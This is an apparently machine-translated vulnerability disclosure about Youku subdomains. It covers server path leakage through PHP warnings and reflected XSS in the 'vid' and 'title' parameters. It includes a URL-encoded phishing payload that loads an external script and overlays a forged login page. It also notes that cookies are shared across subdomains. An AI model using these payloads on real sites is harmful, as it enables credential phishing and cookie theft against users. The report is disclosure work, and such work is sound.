Improper configuration in multiple locations of Youku leads to path leakage and Multiple XSS and repair

Improper configuration at Youku leads to path leakage and Multiple XSS (at least 20)
XSS is mainly because the vid parameter is not processed, many web pages use the vid parameter to call video links.
Don't underestimate XSS
Improper configuration:
Http://realplayer.youku.com/list.php? Cls = 104
Http://realplayer.youku.com/detail.php? Id = error
 
Warning: Invalid argument supplied for foreach () in/real/WebSite/htdocs/guide.cn.real.com/newsite/youku/list.php on line 34
 
Warning: simplexml_load_file () [function. simplexml-load-file]: php_network_getaddresses: getaddrinfo failed: Temporary failure in name resolution in/real/WebSite/htdocs/login on line 59
 
...
 
Warning: simplexml_load_file () [function. simplexml-load-file]: php_network_getaddresses: getaddrinfo failed: Temporary failure in name resolution in/real/WebSite/htdocs/release on line 12
 
Warning: simplexml_load_file (http://api.youku.com/api_ptvideoinfo? Pid = XMTI3Ng ==& id = error) [function. simplexml-load-file]: failed to open stream: Connection timed out in/real/WebSite/htdocs/guide.cn.real.com/newsite/youku/detail.php on line 12
 
XSS: both the vid parameter and the title parameter have XSS
Http://sww.youku.com/player.php? Pv = & tag = whhgx & vid = XMTgwMzc5Njg4 & title = % E4 % BA % 8E % E9 % 9B % AA % E8 % 96% 87
Http://minisite.youku.com/audi-ade/play.php? Type = tt & vid = XMjgwMDk1MjEy
...
The DOMAIN of youku's COOKIE is. youku and com. Therefore, you can directly obtain the COOKIE of the main site from the sub-station and use it for redirect and phishing.
 
Phishing:
Http://minisite.youku.com/audi-ade/play.php? Type = tt & vid = XMjgwMDk1MjEy % 3C/script % 3E % 3 Cscript % 20src = http: // 127.0.0.1/webpage. js % 20 type = text/javascript % 3 Ediaoyu ();/*
The function diaoyu () is used to retrieve the forged logon interface and overwrite the original interface (set CSS)
Proof of vulnerability: http://realplayer.youku.com/list.php? Cls = 104 # path
Http://realplayer.youku.com/detail.php? Id = error # path
Http://sww.youku.com/player.php? Pv = & tag = whhgx & vid = XMTgwMzc5Njg4 & title = % E4 % BA % 8E % E9 % 9B % AA % E8 % 96% 87 # XSS
Http://minisite.youku.com/audi-ade/play.php? Vid = XMjgwMDk1MjEy & type = tt # XSS
 
Warning: Invalid argument supplied for foreach () in/real/WebSite/htdocs/guide.cn.real.com/newsite/youku/list.php on line 34
 
Warning: simplexml_load_file () [function. simplexml-load-file]: php_network_getaddresses: getaddrinfo failed: Temporary failure in name resolution in/real/WebSite/htdocs/login on line 59
 
...
 
Warning: simplexml_load_file () [function. simplexml-load-file]: php_network_getaddresses: getaddrinfo failed: Temporary failure in name resolution in/real/WebSite/htdocs/release on line 12
 
Warning: simplexml_load_file (http://api.youku.com/api_ptvideoinfo? Pid = XMTI3Ng ==& id = error) [function. simplexml-load-file]: failed to open stream: Connection timed out in/real/WebSite/htdocs/guide.cn.real.com/newsite/youku/detail.php on line 12
 
 
 
 


 
 
 
Phishing:
 
 
 
Solution:
 
Modify configuration or code to process related parameters
Author Ambulong